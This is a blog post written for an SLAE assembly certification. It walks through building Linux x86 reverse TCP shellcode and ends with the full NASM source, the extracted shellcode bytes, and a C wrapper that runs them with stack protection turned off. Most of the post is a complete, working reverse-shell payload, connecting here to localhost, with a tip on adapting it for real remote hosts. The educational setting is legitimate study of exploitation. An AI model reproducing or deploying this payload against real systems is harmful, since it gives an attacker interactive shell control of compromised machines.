linux x86 shell reverse tcp shellcode

To create reverse tcp shellcode for linux system there are 4 major steps:

Create socket

For x86_32 linux before kernel 4.3 the only entry point for socket API was socketcall() system call. Socketcall number is 102 in unistd_32.h

#define __NR_socketcall 102

Manual entry for socketcall gives information about function usage

SYNOPSIS
#include <linux/net.h>

int socketcall(int call, unsigned long *args);

linux/net.h contains definitions for call parameter

#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */

We need to pass 1 as first argument then we need to look at manual entry for socket() system call

SYNOPSIS
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>

int socket(int domain, int type, int protocol);

IP(7) manual page contains information on how to create tcp socket.

tcp_socket = socket(AF_INET, SOCK_STREAM, 0);

And link to socket(2) which contains description of parameters.
The domain argument specifies a communication domain; this selects the protocol family which will be used for communication. The socket has the indicated type, which specifies the communication semantics. The protocol specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.
Values for this parameters are defined in sys/socket.h file there is link to bits/socket.h which contains definition

#define PF_INET 2 /* IP protocol family. */

Also we investigate bits/socket_type.h

SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams. */

For protocol we use 0.
With this information it’s possible to create first part of shellcode. In eax we need to put 102 in dec or 0x66 in hex to call socketcall(), in ebx we put first argument for socketcall() to create socket is 1, than we need to push 3 arguments for socket() to the stack as defined previously is 2,1,0 and put in ecx the address of first argument in stack.


global _start

section .text

_start:

xor ebx, ebx      ; clear ebx
mul ebx	          ; clear eax
mov bl, 0x1       ; move 1 to ebx
push eax          ; push 0 on stack
push ebx          ; push 1 on stack (SOCK_STREAM)
push 0x2          ; push 2 on stack (AF_INET)
mov ecx, esp      ; keep 1st argument address in ecx
mov al, 0x66      ; move to eax 0x66 (__NR_socketcall)
int 0x80          ; software interruption for syscall

As a result of this call we receive file descriptor for newly created socket in eax.

Connect to remote host

For second part we need to study manual entry for connect(2)

int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);

First parameter is socket file descriptor that we have in eax, the second is pointer to sockaddr structure which is described in Linux programming manual on IP(7) section and contains address family (AF_INET is 2), port and address to connect to. 3rd parameter is length of sockaddr structure and it is not larger than 0x10.

struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};

Now it’s time to create second part of shellcode and connect to remote host. First we create sockaddr structure in stack pushing address port and sin_family. After pushing we save address of this structure in ecx. Push 3rd parameter (addrlen) of connect() into stack, push address to sockaddr structure, push file descriptor of socket received from first part and kept in eax. Now connect function is ready and we need to keep address in stack to pass to socketcall function as second argument. Than we move to ebx 3 is SYS_CONNECT, keep socket file descriptor in edx to use it later, move to eax 0x66 to call socketcall system call and make software interrupt.

push 0x0100007f      ; push address to stack 127.0.0.1
mov cx, 0xaaaa       ; prepare eax to avoid 0 in shellcode

push cx              ; push port number to stack 43690
xor ecx, ecx         ; clear ecx
mov cl, 0x2          ; move sin_family to cl
push cx	             ; push sin_family to stack
mov ecx, esp         ; keep sockaddr structure address in ecx
push 0x10            ; push addrlen to stack
push ecx             ; push sockaddr address to stack
push eax             ; push socket file descriptor to stack
mov ecx, esp         ; move arguments address of connect() in ecx
inc ebx	             ; now ebx is 2
inc ebx              ; now ebx is 3 (SYS_CONNECT)
mov edx, eax         ; keep socket file descriptor in edx
mov al, 0x66         ; prepare eax for socketcall 0x66
int 0x80             ; software interrupt systemcall

Redirect stdin, stdout, stderr

The third part is redirection of stdin, stdout and stderr to newly created socket to be able to interact with compromised system.

This is done using dup2() system call.

int dup2(int oldfd, int newfd);

The dup2() creates a copy of the file descriptor oldfd, using the file descriptor number specified in newfd. If the file descriptor newfd was previously open, it is silently closed before being reused.
As stdin, stdout and stderr have file descriptors 0,1 and 2 respectively we need to call dup2() three times passing this values as newfd. For oldfd we use previously created socket file descriptor.

xchg ebx, ecx        ; keep 3 in ecx for counter
xchg edx, ebx        ; keep socket fd in ebx for use in dup2
loop:
dec ecx	             ; decrement loop counter
mov al, 0x3f         ; prepare eax for dup2 systemcall (__NR_dup2 63)
int 0x80             ; software interrupt for systemcall
jcxz exec            ; exit loop if counter in ecx is 0
jmp loop             ; continue loop
exec:

Execute /bin/sh

Last part is to execute shell which will communicate with stdin stdout and stderr and now after dup2 this functionality is passed to our socket. I used /bin/sh for this. To run a program there is a execve syscall. As usually Linux Programmer’s Manual describes this function.

int execve(const char *filename, char *const argv[], char *const envp[]);

execve syscall number is 11 in dec or 0xb in hex it needs to be moved to eax. We need to encode /bin/sh string to hex, push this values onto the stack with null termination. As we need avoid 0 in shellcode we add additional / to /bin//sh this doesn’t affect execution and allows to avoid 0. Than we need to keep address for the command in ebx. Documentation says that we need to pass program name as second parameter but /bin/sh works fine with 0 values for arvg[] and envp[], to reduce the size of shellcode they set at 0.

$ python -c ‘code4 = "/bin//sh"; print code4[::-1].encode("hex")’
68732f2f6e69622f
mov al, 0xb           ; prepare eax for execve syscall
xor edx, edx          ; clear edx
push ecx              ; push 0 onto the stack
push 0x68732f2f       ; push /bin//sh in reverse order
push 0x6e69622f       ; push /bin//sh in reverse order
mov ebx, esp          ; keep address for /bin//sh in ebx
int 0x80              ; software interrupt systemcall

Final assembler code will be:

global _start

section .text

_start:

xor ebx, ebx      ; clear ebx
mul ebx           ; clear eax
mov bl, 0x1       ; move 1 to ebx
push eax          ; push 0 on stack
push ebx          ; push 1 on stack (SOCK_STREAM)
push 0x2          ; push 2 on stack (AF_INET)
mov ecx, esp      ; keep 1st argument address in ecx
mov al, 0x66      ; move to eax 0x66 (__NR_socketcall)
int 0x80          ; software interruption for syscall

push 0x0100007f   ; push address to stack 127.0.0.1
mov cx, 0xaaaa    ; prepare eax to avoid 0 in shellcode

push cx           ; push port number to stack 43690
xor ecx, ecx      ; clear ecx
mov cl, 0x2       ; move sin_family to cl
push cx	          ; push sin_family to stack
mov ecx, esp      ; keep sockaddr structure address in ecx
push 0x10         ; push addrlen to stack
push ecx          ; push sockaddr address to stack
push eax          ; push socket file descriptor to stack
mov ecx, esp      ; move arguments address of connect() in ecx
inc ebx	          ; now ebx is 2
inc ebx           ; now ebx is 3 (SYS_CONNECT)
mov edx, eax      ; keep socket file descriptor in edx
mov al, 0x66      ; prepare eax for socketcall 0x66
int 0x80          ; software interrupt systemcall

xchg ebx, ecx     ; keep 3 in ecx for counter
xchg edx, ebx     ; keep socket fd in ebx for use in dup2
loop:
dec ecx	          ; decrement loop counter
mov al, 0x3f      ; prepare eax for dup2 systemcall (__NR_dup2 63)
int 0x80          ; software interrupt for systemcall
jcxz exec         ; exit loop if counter in ecx is 0
jmp loop          ; continue loop
exec:

mov al, 0xb       ; prepare eax for execve syscall
xor edx, edx      ; clear edx
push ecx          ; push 0 onto the stack
push 0x68732f2f   ; push /bin//sh in reverse order
push 0x6e69622f   ; push /bin//sh in reverse order
mov ebx, esp      ; keep address for /bin//sh in ebx
int 0x80          ; software interrupt systemcall

We compile nasm code into executable

$ nasm -f elf32 -o rev.o rev.nasm
$ ld -N $1.o -o $1

Using getcode.sh script:

# This script gets shellcode from binary using objdump 
# http://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

#!/bin/bash


if [ $# -eq 1 ]; then
      objdump -d ./$1|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-7 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ‘‘ -s |sed ‘s/^/"/’|sed ‘s/$/"/g’|sed ‘s/$/;/’
else
      echo "please input program name"
fi

we get shellcode:

"\x31\xdb\xf7\xe3\xb3\x01\x50\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x68\x7f\x00\x00\x01\x66\xb9\xaa\xaa\x66\x51\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x50\x89\xe1\x43\x43\x89\xc2\xb0\x66\xcd\x80\x87\xd9\x87\xd3\x49\xb0\x3f\xcd\x80\x67\xe3\x02\xeb\xf6\xb0\x0b\x31\xd2\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

This shellcode contains zero values because for test purposes I’m connecting to localhost. In case of having 0 in real world scenario program needs to be adapted. For example, we can mov ecx, 0x0101017e than xor ecx, 0x10101, and finally push ecx.
To test this shellcode we use a wrapper to pass execution to shellcode.

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x31\xdb\xf7\xe3\xb3\x01\x50\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x68\x7f\x00\x00\x01\x66\xb9\xaa\xaa\x66\x51\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x50\x89\xe1\x43\x43\x89\xc2\xb0\x66\xcd\x80\x87\xd9\x87\xd3\x49\xb0\x3f\xcd\x80\x67\xe3\x02\xeb\xf6\xb0\x0b\x31\xd2\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

int main ()
{
        printf("Shellcode length: %d\n", strlen(code));
        int(*ret)() = (int(*)())code;
        ret();
}

Compile it

$ gcc -fno-stack-protector -z execstack rev.c -o revc

And execute

Reverse Tcp connection
Reverse Tcp connection

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1063

Add a Comment

Your email address will not be published. Required fields are marked *